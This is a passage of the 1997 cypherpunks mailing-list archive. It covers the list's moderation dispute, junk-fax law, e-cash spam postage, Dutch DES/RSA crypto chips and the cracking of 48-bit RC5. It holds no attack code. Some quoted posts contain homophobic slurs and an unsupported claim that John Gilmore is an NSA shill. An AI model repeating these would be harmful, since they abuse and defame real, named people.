censorship is only part of fighting it. You also need respectable people to some in, argue cogently against the dangers of censorship, perhaps even get some extremely reasonable articles suppressed, and then spread the word about it. I find the freedom-knights tactics' extremely lacking in this second, "clean up and analyze the mess" phase. As a recent example illustrates well, Vulis did a nice job of inducing censorship on cypherpunks. However, I think most peoples' opinions didn't really turn, or at least people didn't realize how serious things were and didn't really care, until Tim May [someone the many freedom-knights hate] started criticizing this censorship in extremely reasonable messages that were suppressed from both the -edited and -flames mailing list. From snow at smoke.suba.com Sat Feb 15 09:28:08 1997 From: snow at smoke.suba.com (snow) Date: Sat, 15 Feb 1997 09:28:08 -0800 (PST) Subject: More on digital postage Message-ID: <199702151728.JAA27122@toad.com> Mr. Bell wrote: > At 03:31 AM 2/14/97 -0800, John C. Randolph wrote: > >Tim may says: > >>By the way, I think the "junk fax" and "junk phone call" laws are clearcut > >>violations of the First Amendment. I understand why the herd _wants_ these > >>laws, as it reduces the costs involved in replacing fax paper, running to > >>the telephone only to find someone trying to sell something, etc., but it > >>is quite clearly a prior restraint on speech, however well-intentioned. > >I have to disagree here. The junk fax law is a restraint on unauthorised > >use of property, i.e. *my* fax machine, *my* phone, etc. > However, you connect that fax machine to a phone line, when you know full > well that should it be enabled to do so, it will automatically pick up the > phone when it "hears" a ring, and will print out a fax based on information > provided. It isn't clear why sending a fax is any "wronger" than mailing > junk mail, or making a (voice) phone call to somebody. That is a ridiculous argument. The door to my home is connected to the street,m and I know full well that that makes it easy for anyone to come wandering in to my home. Is it legal, just because I have my home hooked to the street, for someone to come in and help themselves to a beer out of my fridge? Nope. Sure I realize that they _can_, but that doesn't make it right, and it doesn't make it legal. From dthorn at gte.net Sat Feb 15 09:36:59 1997 From: dthorn at gte.net (Dale Thorn) Date: Sat, 15 Feb 1997 09:36:59 -0800 (PST) Subject: Moderation experiment almost over; "put up or shut up" In-Reply-To: Message-ID: <3305F412.3F4C@gte.net> Cynthia H. Brown wrote: > - The female , in addition to passing the > same exams as her male classmates, has probably had to put up with a fair > load of B.S. questioning her right and ability to be there. The ones that > keep at it long enough to graduate are the ones that *really* want to do > whatever it is, and IMHO are more likely to try harder. > - I wonder whether the garage owners have any preference. In my military > experience (Signals officer), the (older male) sergeants and chiefs, when > given a choice, preferred female radar / radio technicians to male > because, in general, they were harder working, had thicker skins, and were > more pleasant to deal with. I love working with girls, regardless of the job. I personally prefer the ones who don't suck up to "the guys", and who don't subscribe to what society prefers girls should do or look like. Unfortunately, most offices won't hire them unless they conform in ways that I feel are offensive, so the really independent ones wind up mainly in low- paying jobs or going it alone (i.e., driving a truck). Nothing wrong with driving a truck, of course, but it would be nicer still if they could co-exist alongside males in the majority of workplaces without having to do female role-playing. From dthorn at gte.net Sat Feb 15 09:39:29 1997 From: dthorn at gte.net (Dale Thorn) Date: Sat, 15 Feb 1997 09:39:29 -0800 (PST) Subject: Moderation experiment almost over; "put up or shut up" In-Reply-To: <199702142029.MAA01055@kachina.jetcafe.org> Message-ID: <3305F4B8.4F8D@gte.net> Dave Hayes wrote: > Ok. I'll "put up". > If the cypherpunks will have me, -I'll- run the cypherpunks > list. Those that know me know that I will *not* censor, moderate, or > otherwise alter the content (other than the stuff majordomo does with > "resend") of any messages to the list. You have my vote. And any help I can provide, within my limits. From snow at smoke.suba.com Sat Feb 15 09:41:10 1997 From: snow at smoke.suba.com (snow) Date: Sat, 15 Feb 1997 09:41:10 -0800 (PST) Subject: Excerpt on SPAM from Edupage, 11 February 1997 Message-ID: <199702151741.JAA27738@toad.com> > Well, they will stop sending you money if they find out that you do not buy > their products. > > - Igor. As long as they stop sending the Ads. From pgut001 at cs.auckland.ac.nz Sat Feb 15 09:42:51 1997 From: pgut001 at cs.auckland.ac.nz (Peter Gutmann) Date: Sat, 15 Feb 1997 09:42:51 -0800 (PST) Subject: DES and RSA crypto hardware from the free world Message-ID: <199702151742.JAA27772@toad.com> I've just got the details on two new crypto chips produced by the Dutch company Pijnenburg Custom Chips B.V. These are the PCC 201 bignum coprocessor and the PCC 101 DES-with-everything processor (the official names are slightly different :-). The PCC 101 sells for approximately US$27, the PCC 201 sells for approximately US$50 (for people who aren't familiar with the market for these things, these are very good prices, especially for the 201). The PCC 201 is officially a "Large number modular arithmetic coprocessor" which is designed to perform the operations: A^x mod N AB mod N C mod n very quickly for quantities of up to 1024 bits. Typical procesing times for 1K-bit operands is 40ms, for 512 bits it's 12ms when clocked at 25 MHz. Unfortunately you can't directly chain them for larger operands, although it's possible to use two 201's and some software tricks for CRT decrypts to stretch the operand size to > 1024 bits. The way the 201 works is that you load the fixed components (exponent and modulus for A^x mod N, modulus only for AB mod N and C mod N) into one of three sets of on-chip registers, and then use them to perform arbitrary numbers of operations on data. This means that for something like a micropayment application you would load the necessary private key components once and then generate signatures at the (theoretical) rate of 25 a second. To date the cost of this kind of hardware has been such that the most viable solution was to run racks full of cheap P5 boards booting a bare-bones RSA-processing application through a network card, but with the PCC 201 you could populate a board with 201's and a few microcontrollers a la a Wiener machine and use these as a payment transaction processing engine. They'd also make fairly cool SSL co-processors for web servers. The PCC 101, officially a "DES encryption device", does DES, 3DES (EDE with 2 or 3 keys), and DESX in ECB, CBC, CFB, OFB, and MAC modes at a maximum rate of 132 Mbits/s (16.5 Mbytes/sec) for single DES, or 1/3 that for 3DES, when clocked at 33 MHz. It's possible to load either single or triple-DES encrypted keys which are then decrypted using onboard key encryption keys (KEKs). The chip contains onboard storage for 24 keys, 3 KEKs, 4 IV's, and 2 DESX keys (pre/post-whitener). Processing is done in a 3-stage pipeline, so once you feed in 3 64-bit blocks it churns out a new result every 16 clocks (this also allows overlapped I/O operation). You can add an external battery to save the internal state when power is removed, so you could keep your keys permanently stored onboard (although given that these keys can be recovered given enough money and effort I'm not sure if this is a good thing). The PCC 101 is available in 44-pin PLCC/TQFP packages, the PCC 201 is available in 68-pin PLCC and 80-pin TQFP packages. The PCC 201 contains a multiplexed address/data bus and a few control signals (most of the pins are unused), the PCC 101 contains data and address ports and a few control signals. They look fairly easy to interface. There's an ISA evaluation board available which contains the PCC 201 and the slightly older PCC 100 (predecessor of the 101) and some test software. Note that this is an evaluation board only, Pijnenburg make the chips but don't sell general encryption cards. A fast PCI card containing these chips and drivers for various common operating systems and MSDOS is currently being designed by an international cabal. This will be a PCI 2.1-compliant card containing a PCC101, an optional PCC201, and possibly a few other things (we're still arguing about the design). I'll be writing DOS and Win16 drivers for it, and someone else will do an NT and possibly Linux driver (again, it's still at the design stage). cryptlib (http://www.cs.auckland.ac.nz/~pgut001/cryptlib.html) will probably end up having native support for it when it's ready. Pijnenburg don't have a web page yet but are working on it, I'll post the details here when it becomes available. Until then you can contact them at asic at pijnenburg.nl. The only slight problem is that they're subject to the Dutch governments export rules (the usual Wassenaar stuff) which means that if you're not using it for an authentication/integrity-only application or a financial application, you'll probably need to go through some paperwork to show that it's for your use only and you won't be passing it on to your friend Jose from Columbia. Pijnenburg have a standard Statement of Application which people can use as to write their own statement for export approval. These chips look *very* promising. Who needs Clipper, or HP's Clipper-under-another-name, when you can get triple DES from the free world at prices like this? Peter. From dthorn at gte.net Sat Feb 15 09:45:24 1997 From: dthorn at gte.net (Dale Thorn) Date: Sat, 15 Feb 1997 09:45:24 -0800 (PST) Subject: Moderation experiment almost over; "put up or shut up" In-Reply-To: <199702142157.PAA02906@manifold.algebra.com> Message-ID: <3305F615.BBB@gte.net> Igor Chudov @ home wrote: > Dave Hayes wrote: > > Ok. I'll "put up". > > If the cypherpunks will have me, -I'll- run the cypherpunks > > list. Those that know me know that I will *not* censor, moderate, or > > otherwise alter the content (other than the stuff majordomo does with > > "resend") of any messages to the list. > I think that it is a great idea. If you want to contribute to the > effort to keep the list, this is great. You could join the network of > other cypherpunks mailing lists. > There is a small list for discussing these networking issues, > cypherpunks-hosts at algebra.com. It is not for crypto-discussions per > se, but rather for discussing how we proceed with these lists. If I understood the last several hundred messages correctly, they have tried to make the point that the cypherpunks mailing list (unedited) was more ideal than a newsgroup. If this is what Dave is offering, I'm surprised if more people don't jump on it. Then again, they took their good ol' time jumping onto cypherpunks-unedited. From roach_s at alph.swosu.edu Sat Feb 15 09:47:46 1997 From: roach_s at alph.swosu.edu (Sean Roach) Date: Sat, 15 Feb 1997 09:47:46 -0800 (PST) Subject: Keep it Simple and the Cypherpunk Way Message-ID: <199702151747.JAA27981@toad.com> At 12:57 PM 2/14/97 -0800, Vladimir Z. Nuri wrote: > ... >if cpunks had a formal way of making decisions, and some loyalty >to each other, instead of BAILING OUT at the slightest difficulty, >perhaps the situation would be different, eh? see how quickly people >who were once friends simply WALK OUT on each other in the cryptoanarchist >approach? where is the loyalty? the sense of working for the greater >good? it's gone. TCM simply ABANDONS the list at the first opportunity, >and ignores the years of hard work that J.G. has put into it. ... Not everyone has "bailed out". Amid the flotsam and jetsam of the sinking list, Igor Chudov Firebeard, and others have begun to fashion a trimaran. If they finish before the old vessel finally sinks in the storm, then we will have a ship more difficult to capsize. Others are anchoring that half finished craft to the great floating city/state Usenet. Still others are scheming as to the best way to keep the self appointed police from cutting the little craft adrift. No, we would have "bailed out" if we had each sit still to let our subscriptions run out. More will "go down with the ship", arguing against the shutdown right up to the day when the list is finally eliminated. From ichudov at algebra.com Sat Feb 15 09:49:26 1997 From: ichudov at algebra.com (Igor Chudov @ home) Date: Sat, 15 Feb 1997 09:49:26 -0800 (PST) Subject: Moderation experiment almost over; "put up or shut up" In-Reply-To: <3305F615.BBB@gte.net> Message-ID: <199702151746.LAA18969@manifold.algebra.com> Dale Thorn wrote: > Igor Chudov @ home wrote: > > Dave Hayes wrote: > > > Ok. I'll "put up". > > > If the cypherpunks will have me, -I'll- run the cypherpunks > > > list. Those that know me know that I will *not* censor, moderate, or > > > otherwise alter the content (other than the stuff majordomo does with > > > "resend") of any messages to the list. > > > I think that it is a great idea. If you want to contribute to the > > effort to keep the list, this is great. You could join the network of > > other cypherpunks mailing lists. > > There is a small list for discussing these networking issues, > > cypherpunks-hosts at algebra.com. It is not for crypto-discussions per > > se, but rather for discussing how we proceed with these lists. > > If I understood the last several hundred messages correctly, they have > tried to make the point that the cypherpunks mailing list (unedited) > was more ideal than a newsgroup. If this is what Dave is offering, > I'm surprised if more people don't jump on it. Then again, they > took their good ol' time jumping onto cypherpunks-unedited. I think that the ideas of a distributed list and the idea of alt.cypherpunks are both good and these two mediums complement each other. - Igor. From azur at netcom.com Sat Feb 15 09:49:32 1997 From: azur at netcom.com (Steve Schear) Date: Sat, 15 Feb 1997 09:49:32 -0800 (PST) Subject: 48-bit RC5 code broken [fwd] Message-ID: Date: Fri, 14 Feb 1997 8:02:49 PST From: "Peter G. Neumann" Subject: 48-bit RC5 bites the dust In RISKS-18.81, we noted that Ian Goldberg of U.C. Berkeley had cracked the 40-bit RC5 in 3.5 hours -- the first step in the RSA Data Security challenge posed on 28 Jan 1997. The second step was taken on 10 Feb 1997 by Germano Caronni, a graduate student at the Swiss Federal Institute of Technology. Caronni (with a lot of help from his friends) has recovered the key for text encrypted with 48-bit RC5, with the help of 3,500 computers and attaining an peak rate of 1.5 trillion keys searched per hour, over a period of 312 hours. A press release from RSA (given some circulation in the media) on gives some details. Close to the median expected effort, about 57% of the key space was exhausted. The Caronni team is now working on the next challenge, RC5-56. It is easy to clone yourself through virtual replication. [In this case, the team has a lot of Caronnis!] From dthorn at gte.net Sat Feb 15 09:53:25 1997 From: dthorn at gte.net (Dale Thorn) Date: Sat, 15 Feb 1997 09:53:25 -0800 (PST) Subject: Good Bye Cypherpunks! In-Reply-To: <199702142007.PAA16030@relay1.shore.net> Message-ID: <3305F7F9.2BD2@gte.net> Vin McLellan wrote: > My understanding of Sandy's effort, for instance, was that he was to > filter out the sludge of spam and contentless name-calling with which some > idiots were flooding the list. My impression was that he was passing along > any posts with content (ideas, pro or con, on almost anything) but filtering > out the empty obscene name-calling and slurs (many of which seemed anon or > forged, with varied and misleading titles, to duck my kill-file filters.) Tim May writes that the disruptors "won". I say they didn't "win" anything. Truth is, the old, feeble, senile, stupid, and generally ignorant Gilmore/Sandfort team just gave up, because they're too much in bed with the establishment now to rock any more boats. From jimbell at pacifier.com Sat Feb 15 10:04:27 1997 From: jimbell at pacifier.com (jim bell) Date: Sat, 15 Feb 1997 10:04:27 -0800 (PST) Subject: More on digital postage Message-ID: <199702151802.KAA22867@mail.pacifier.com> At 11:40 AM 2/15/97 -0600, snow wrote: >Mr. Bell wrote: >> At 03:31 AM 2/14/97 -0800, John C. Randolph wrote: >> >Tim may says: >> >>By the way, I think the "junk fax" and "junk phone call" laws are clearcut >> >>violations of the First Amendment. I understand why the herd _wants_ these >> >>laws, as it reduces the costs involved in replacing fax paper, running to >> >>the telephone only to find someone trying to sell something, etc., but it >> >>is quite clearly a prior restraint on speech, however well-intentioned. >> >I have to disagree here. The junk fax law is a restraint on unauthorised >> >use of property, i.e. *my* fax machine, *my* phone, etc. >> However, you connect that fax machine to a phone line, when you know full >> well that should it be enabled to do so, it will automatically pick up the >> phone when it "hears" a ring, and will print out a fax based on information >> provided. It isn't clear why sending a fax is any "wronger" than mailing >> junk mail, or making a (voice) phone call to somebody. > > That is a ridiculous argument. The door to my home is connected >to the street,m and I know full well that that makes it easy for anyone >to come wandering in to my home. Is it legal, just because I have my >home hooked to the street, for someone to come in and help themselves to >a beer out of my fridge? No, you're taking the issue to ridiculous extremes. That's why we have doors, and locks, etc. And, for that matter, "No trespassing" signs. But having an address, and a walkway, and a doorbell is generally considered if not explicit permission, but at least toleration of the idea that somebody can walk up and knock on the door, etc. Having a telephone with a number that anyone can dial is going to result in some level of intrusion. Having a fax machine is a similar issue, unless technology provides a way to block unwanted faxes. I certainly don't claim that we shouldn't try to do anything about these limitations! Quite the opposite, technology should be employed to protect privacy. But faxes are not fundamentally different than telephones, doorbells, and walkways: They facilitate interaction, even potentially undesirable interaction. > Nope. Sure I realize that they _can_, but that doesn't make it right, >and it doesn't make it legal. "Legal" is an arbirary concept; the opposite, "illegal," is merely what some bunch of brainless legislators get together and disapprove. Jim Bell jimbell at pacifier.com From dthorn at gte.net Sat Feb 15 10:04:30 1997 From: dthorn at gte.net (Dale Thorn) Date: Sat, 15 Feb 1997 10:04:30 -0800 (PST) Subject: Keep it Simple and the Cypherpunk Way In-Reply-To: <199702142057.MAA06000@netcom10.netcom.com> Message-ID: <3305FA8F.3B5D@gte.net> Vladimir Z. Nuri wrote: > what TCM continues to stick his head in the sand over > is the fact that the list noise levels have gotten outlandishly > out of control over recent times, far beyond anything in memory. > what is it due to? "Out of control" says it all, don't you think? (as in "control freaks", that is). > it appears that there is a basic law of cyberspace that S/N decreases > as you add more people. it seems to be a very obvious and repeatable > property. No, it decreases rapidly when your forum more-or-less suddenly becomes a hot item on the web. If it weren't hot, nobody would bother, believe me. > there are some significant lessons about cryptoanarchy that are > completely evading TCM. how well does anarchy scale? apparently, not > well. TCM would like to pretend that just deleting posts and having > outsider filterers is a "solution" to the problem and argues for > business as usual, upholding the status quo. "Scale" is a term used by controllers. > the problem is that when you have a deteriorating situation, the > status quo is not a valid concept. keeping the status quo means > further deterioration. Look at the big picture. Some people have proposed unacceptable methods for controlling human population, and it should be no surprise that the same mentality would pervade these forums. > TCM also fails to address the problem of AGENT PROVOCATEURS. the > cyberspace list is intensely fragile and susceptible/ vulnerable > to them as Vulis demonstrates. it only takes ONE and a lot of > tentacles. does TCM propose a solution to this? no, of course not, > because he has a blind spot when it comes to realizing the > PATENTLY OBVIOUS FLAWS OF CRYPTOANARCHY that stare him in the face. Unless, of course, the forum itself (and its proponents) are themselves the "agent provocateurs". > if cpunks had a formal way of making decisions, and some loyalty > to each other, instead of BAILING OUT at the slightest difficulty, > perhaps the situation would be different, eh? see how quickly people > who were once friends simply WALK OUT on each other in the cryptoanarchist > approach? where is the loyalty? the sense of working for the greater > good? it's gone. TCM simply ABANDONS the list at the first opportunity, > and ignores the years of hard work that J.G. has put into it. Loyalty? Amongst anarchists? Two points: Loyalty on c-punks was almost entirely a negative factor (i.e., sucking up to Gilmore). Two, Tim May is for Tim May (as he should be), and he didn't abandon his ideals one bit, which is a helluva lot more to say for him than Gilmore or Sandfort. > timmy, cpunks, etc. you are getting a lesson in REALITY. you are seeing > the logical conclusion of your views playing out before you. acrimony, > bitterness, resignation, chaos, confusion, cacaphony, anarchy. Perhaps you should turn your talents to writing country songs. From pete at idaho.ubisg.com Sat Feb 15 10:08:37 1997 From: pete at idaho.ubisg.com (Peter J. Capelli) Date: Sat, 15 Feb 1997 10:08:37 -0800 (PST) Subject: Excerpt on SPAM from Edupage, 11 February 1997 In-Reply-To: <199702150439.UAA04787@mail.pacifier.com> Message-ID: <199702151807.NAA15513@idaho.ubisg.com> A non-text attachment was scrubbed... Name: not available Type: application/x-pgp-message Size: 26 bytes Desc: not available URL: From pete at idaho.ubisg.com Sat Feb 15 10:12:31 1997 From: pete at idaho.ubisg.com (Peter J. Capelli) Date: Sat, 15 Feb 1997 10:12:31 -0800 (PST) Subject: Excerpt on SPAM from Edupage, 11 February 1997 In-Reply-To: <199702150440.UAA04809@mail.pacifier.com> Message-ID: <199702151811.NAA15530@idaho.ubisg.com> A non-text attachment was scrubbed... Name: not available Type: application/x-pgp-message Size: 26 bytes Desc: not available URL: From pete at idaho.ubisg.com Sat Feb 15 10:21:55 1997 From: pete at idaho.ubisg.com (Peter J. Capelli) Date: Sat, 15 Feb 1997 10:21:55 -0800 (PST) Subject: More on digital postage In-Reply-To: <199702150841.AAA07715@toad.com> Message-ID: <199702151820.NAA15563@idaho.ubisg.com> A non-text attachment was scrubbed... Name: not available Type: application/x-pgp-message Size: 26 bytes Desc: not available URL: From dthorn at gte.net Sat Feb 15 10:28:14 1997 From: dthorn at gte.net (Dale Thorn) Date: Sat, 15 Feb 1997 10:28:14 -0800 (PST) Subject: Dave Hayes takes over Cypherpunks In-Reply-To: Message-ID: <33060022.3439@gte.net> Dr.Dimitri Vulis KOTM wrote: > Toto writes: > > aga wrote: > > > How about that we require everybody to state their sex and sexual > > > orientation in the future, so we have no future problems. > > > I am a "Male Heterosexual" -- what about the rest of you? > > > If you refuse to answer, you are presumed to be a gay boy who > > > is hiding it. > Cocksucker John Gilmore is a faggot. So is his boss Bobby Inman from NSA. > John Gilmore is a U.S.Government shill out to suck resources into > fruitless flame war and to sabotage our efforts to deploy crypto. Remember when Bush barfed on the Japanese guys? I thought Inman's performance on TV after losing the nomination was even more embarrassing. When Inman was first nominated, I was reading about it in the L.A. Times they provide at McDonalds, while waiting patiently in line for the great American meal. When I saw who it was, I pulled out my 165 mb pocket computer and looked him up, and showed everyone else who were standing in line who this guy really was. The reaction in that line alone was a good predictor of what was to come for the "admiral". Hopefully some day the EFF putzes will come to an equally glorious end. From perry at piermont.com Sat Feb 15 10:29:51 1997 From: perry at piermont.com (Perry E. Metzger) Date: Sat, 15 Feb 1997 10:29:51 -0800 (PST) Subject: Cypherpunks Forums FAQ (life after toad.com) In-Reply-To: <199702151404.OAA00812@server.test.net> Message-ID: <199702151829.NAA10084@jekyll.piermont.com> BTW, for those of you who haven't tried it, cryptography at c2.net, which I run and moderate, has been pretty successful thus far in providing a low noise high quality area for discussing cryptography and cryptography related political issues. I invite people to join. To get on, simply send a message to majordomo at c2.net with the words subscribe cryptography in the body. Perry Adam Back writes: > > There has been some discussion as to which list one should subscribe to > once cypherpunks at toad.com is dead (which I would remind you is 4 days from > now -- 19th Feb). > > For those not paying attention, I have collated information about > cypherpunks forums for your information: From roy at sendai.scytale.com Sat Feb 15 10:36:46 1997 From: roy at sendai.scytale.com (Roy M. Silvernail) Date: Sat, 15 Feb 1997 10:36:46 -0800 (PST) Subject: Excerpt on SPAM from Edupage, 11 February 1997 In-Reply-To: <199702150843.AAA07793@toad.com> Message-ID: <970215.101958.0t3.rnr.w165w@sendai.scytale.com> -----BEGIN PGP SIGNED MESSAGE----- In list.cypherpunks, ichudov at algebra.com writes: > My opinion on this: I personally feel that this scheme is the way to > go for spammers. Obviously, it is possible to build mail readers that > would verify some kind of trusted signature on the attached postage, and > would highlight all such messages. The meaning of signature is "these > people are not crooks, there really is an encrypted dollar there". I much prefer the plan where a potential mail correspondant includes an e-cash dollar directly cashable by me. If I like the mail (and the sender), I throw the dollar away and the sender goes on the approved list. If not, I keep the dollar, and the sender goes on the twit list. Paper junk mail costs an advertiser more than $1 per piece, so they'd still be getting a bargain. And potentially, some receivers may throw away the dollar and welcome the spam. > Clearly, spammers who pay their readers to read their messages (and who > do get them to read) will have a very high response rate. That may > justify adding postage to their letters. It should also spur development of intelligent agents which can retrieve this cash without human intervention. Spammers will doubtless alter their pages to require more interaction to find the key to the cash. Then the IA's will be improved. Then... remember the copy protection wars? This isn't necessarily a negative point. > The advantages are obvious. The disadvantage is a possibility of someone > stealing the money on the way, if the letters are not encrypted. Or that the money wasn't there in the first place (absent a trusted signature system), or the key doesn't exist, or the wrong key is offered, or the sender put the same e-dollar on all 60000 mails sie sent and it's already been redeemed. - -- Roy M. Silvernail [ ] roy at scytale.com DNRC Minister Plenipotentiary of All Things Confusing, Software Division PGP Public Key fingerprint = 31 86 EC B9 DB 76 A7 54 13 0B 6A 6B CC 09 18 B6 Key available from pubkey at scytale.com, which works now -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQCVAwUBMwXqzxvikii9febJAQHv7QP9HQ+S3dZ+MCOTfUJYZwQ/l7xDU83RUIZI IMve5eFvBbSHabXacwM//1dHmWVpMqVpfN7kchXm/N+vsEqpGMGgNkNj7dGZdoWn NN6cHkDHJywgnlhT62BZ0u6n2lb4wJcKMaGn63bnmHCRSUN9HwUCKFrFXi72s08r sxju8mXi8N0= =4Skg -----END PGP SIGNATURE----- From dthorn at gte.net Sat Feb 15 10:43:36 1997 From: dthorn at gte.net (Dale Thorn) Date: Sat, 15 Feb 1997 10:43:36 -0800 (PST) Subject: [Declan McCullagh: "A List Goes Down In Flames," from Netly] In-Reply-To: <5Pe62D30w165w@bwalk.dm.com> Message-ID: <330601D0.2E5C@gte.net> Dr.Dimitri Vulis KOTM wrote: > Toto writes: > > Omegaman wrote: > > Did anyone notice the 'pun' in Declan's subject header? > > "A List Goes Down In FLAMES" > > Did Declan notice it? > > My theory is that the news/press that we consume from our media-feeders > > starts around a 'catchy' headline, from which the press then builds a > > story to highlight their puns. > The whole list? > Or just Gilmore goes down on Sandfart and Sandart goes down on Parekh > and Parekh goes down on Gilmore - like a daisy chain? Just look at the farce they called "the O.J. case", or how about all those pretty logos they displayed every night on TV for "the Gulf War". I can't wait until they get ahold of this one, and tell (er, regurgitate) it back to us as "news". BTW, did you ever try (recently) to resuscrive to any of the c-punks lists, just for fun (hee hee)? Be interesting to know if Gilmore's computers have time to screen that out with all the other processes they must be crunching. BTW2, in the current issue of WWWiz, one of the columnists printed my semi-lengthy article on the history of PC's. Check it out at wwwiz.com. From tcmay at got.net Sat Feb 15 10:47:41 1997 From: tcmay at got.net (Timothy C. May) Date: Sat, 15 Feb 1997 10:47:41 -0800 (PST) Subject: More on digital postage In-Reply-To: <199702150841.AAA07715@toad.com> Message-ID: At 11:40 AM -0600 2/15/97, snow wrote: >Mr. Bell wrote: >> However, you connect that fax machine to a phone line, when you know full >> well that should it be enabled to do so, it will automatically pick up the >> phone when it "hears" a ring, and will print out a fax based on information >> provided. It isn't clear why sending a fax is any "wronger" than mailing >> junk mail, or making a (voice) phone call to somebody. > > That is a ridiculous argument. The door to my home is connected >to the street,m and I know full well that that makes it easy for anyone >to come wandering in to my home. Is it legal, just because I have my >home hooked to the street, for someone to come in and help themselves to >a beer out of my fridge? The proper parallel is to _knocking on the door_. Talking about "unwanted phone calls" or "unwanted faxes" as being equivalent to entering a house and wandering around is incorrect. Consider a door with a doorbell or knocker. It is set up (by millenia of tradition in our society) as a means of contacting the residents and keeping them from entering. Similarly, a listed phone number, or a phone number gotten through various means, is a means of contacting those owning the number. Anyone is free to call anyone--no permission is needed. Our society fairly reasonably allows tort relief for, say, having one's doorbell rung frequently or at odd hours. On the fax issue, similar tort relief could be obtained if a person or business was truly "under attack." (Purists, like me, would probably prefer technological solutions even in these cases. Leave a phone on answering machine mode, only switch on the fax mode when a fax is expected, etc.) These tort actions are a far cry from proposals that anyone whose knock on the door, or phonecall, or e-mail, or fax is subject to criminal prosecution under proposed new laws. (I think the courts are already clogged enough, and I have faith that no court in the land will accept a case where no real harm was done. A friend of mine got mailbombed with 25,000 e-mail messages in one day, shutting down his account until the mess could be cleaned up, and it's not even likely he'll ever get any relief.) What CompuServe did was quite different, as CompuServe decided that some e-mail would not be delivered. This is essentially comparable to the Postal Service deciding that mail from the National Rifle Association is, to them, "junk," or to the phone company deciding that phone calls from Libya or Iraq or some other unfavored nation will be fed to a dead number. Getting the courts and the regulators involved in deciding what speech is junk and what is not junk is unconstitutional, which was my earlier point. --Tim May On the f Just say "No" to "Big Brother Inside" We got computers, we're tapping phone lines, I know that that ain't allowed. ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, tcmay at got.net 408-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, Higher Power: 2^1398269 | black markets, collapse of governments. "National borders aren't even speed bumps on the information superhighway." From tcmay at got.net Sat Feb 15 10:56:16 1997 From: tcmay at got.net (Timothy C. May) Date: Sat, 15 Feb 1997 10:56:16 -0800 (PST) Subject: Excerpt on SPAM from Edupage, 11 February 1997 In-Reply-To: <199702150843.AAA07793@toad.com> Message-ID: At 10:19 AM -0600 2/15/97, Roy M. Silvernail wrote: >I much prefer the plan where a potential mail correspondant includes an >e-cash dollar directly cashable by me. If I like the mail (and the >sender), I throw the dollar away and the sender goes on the approved >list. If not, I keep the dollar, and the sender goes on the twit list. >Paper junk mail costs an advertiser more than $1 per piece, so they'd >still be getting a bargain. And potentially, some receivers may throw >away the dollar and welcome the spam. The basic flaw in all of these schemes is that they are "top-down" solutions, imposed on the market for invented reasons. The reason paper mail "spam" (advertisements, solicitations, whatever) costs whatever it costs (hint: less than a dollar...check the Bulk Rate prices, and look for the 8-cent and 16-cent stamps on many of the solicitations) is because this is what the Postal Service charges. Granted, the USPS is hardly a free market player, and uses force to keep out competitors, but the general principle is that some semi-market-based fee is charged, and larger packages will cost more, etc. The basic flaw with e-mail is that the senders of e-mail are not paying for carriage. However, just "making up" a fee--as Roy does here, and as Jim Bell and others have done before--is not a solution either. Nor does it stand any chance of being "enforced" (for a large number of reasons I won't get into here). I don't expect any solutions anytime soon, but I certainly will not push for "synthetic" prices which do not solve the underlying problem. --Tim May Just say "No" to "Big Brother Inside" We got computers, we're tapping phone lines, I know that that ain't allowed. ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, tcmay at got.net 408-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, Higher Power: 2^1398269 | black markets, collapse of governments. "National borders aren't even speed bumps on the information superhighway." From dthorn at gte.net Sat Feb 15 10:56:43 1997 From: dthorn at gte.net (Dale Thorn) Date: Sat, 15 Feb 1997 10:56:43 -0800 (PST) Subject: Moderation experiment almost over; "put up or shut up" In-Reply-To: <199702151746.LAA18969@manifold.algebra.com> Message-ID: <330606D5.403A@gte.net> Igor Chudov @ home wrote: > Dale Thorn wrote: > > Igor Chudov @ home wrote: > > > Dave Hayes wrote: > > > > Ok. I'll "put up". > > If I understood the last several hundred messages correctly, they have > > tried to make the point that the cypherpunks mailing list (unedited) > > was more ideal than a newsgroup. If this is what Dave is offering, > > I'm surprised if more people don't jump on it. Then again, they > > took their good ol' time jumping onto cypherpunks-unedited. > > I think that the ideas of a distributed list and the idea of > alt.cypherpunks are both good and these two mediums complement > each other. I can certainly accept this, but it would be nice if someone summarizes these feeds every now and then, as time to check them all out is very limited. From dthorn at gte.net Sat Feb 15 11:10:59 1997 From: dthorn at gte.net (Dale Thorn) Date: Sat, 15 Feb 1997 11:10:59 -0800 (PST) Subject: Moderation experiment almost over; "put up or shut up" Message-ID: <199702151910.LAA01251@toad.com> Igor Chudov @ home wrote: > Dave Hayes wrote: > > Ok. I'll "put up". > > If the cypherpunks will have me, -I'll- run the cypherpunks > > list. Those that know me know that I will *not* censor, moderate, or > > otherwise alter the content (other than the stuff majordomo does with > > "resend") of any messages to the list. > I think that it is a great idea. If you want to contribute to the > effort to keep the list, this is great. You could join the network of > other cypherpunks mailing lists. > There is a small list for discussing these networking issues, > cypherpunks-hosts at algebra.com. It is not for crypto-discussions per > se, but rather for discussing how we proceed with these lists. If I understood the last several hundred messages correctly, they have tried to make the point that the cypherpunks mailing list (unedited) was more ideal than a newsgroup. If this is what Dave is offering, I'm surprised if more people don't jump on it. Then again, they took their good ol' time jumping onto cypherpunks-unedited. From dthorn at gte.net Sat Feb 15 11:11:03 1997 From: dthorn at gte.net (Dale Thorn) Date: Sat, 15 Feb 1997 11:11:03 -0800 (PST) Subject: Moderation experiment almost over; "put up or shut up" Message-ID: <199702151911.LAA01259@toad.com> Dave Hayes wrote: > Ok. I'll "put up". > If the cypherpunks will have me, -I'll- run the cypherpunks > list. Those that know me know that I will *not* censor, moderate, or > otherwise alter the content (other than the stuff majordomo does with > "resend") of any messages to the list. You have my vote. And any help I can provide, within my limits. From dthorn at gte.net Sat Feb 15 11:11:14 1997 From: dthorn at gte.net (Dale Thorn) Date: Sat, 15 Feb 1997 11:11:14 -0800 (PST) Subject: Moderation experiment almost over; "put up or shut up" Message-ID: <199702151911.LAA01285@toad.com> Cynthia H. Brown wrote: > - The female , in addition to passing the > same exams as her male classmates, has probably had to put up with a fair > load of B.S. questioning her right and ability to be there. The ones that > keep at it long enough to graduate are the ones that *really* want to do > whatever it is, and IMHO are more likely to try harder. 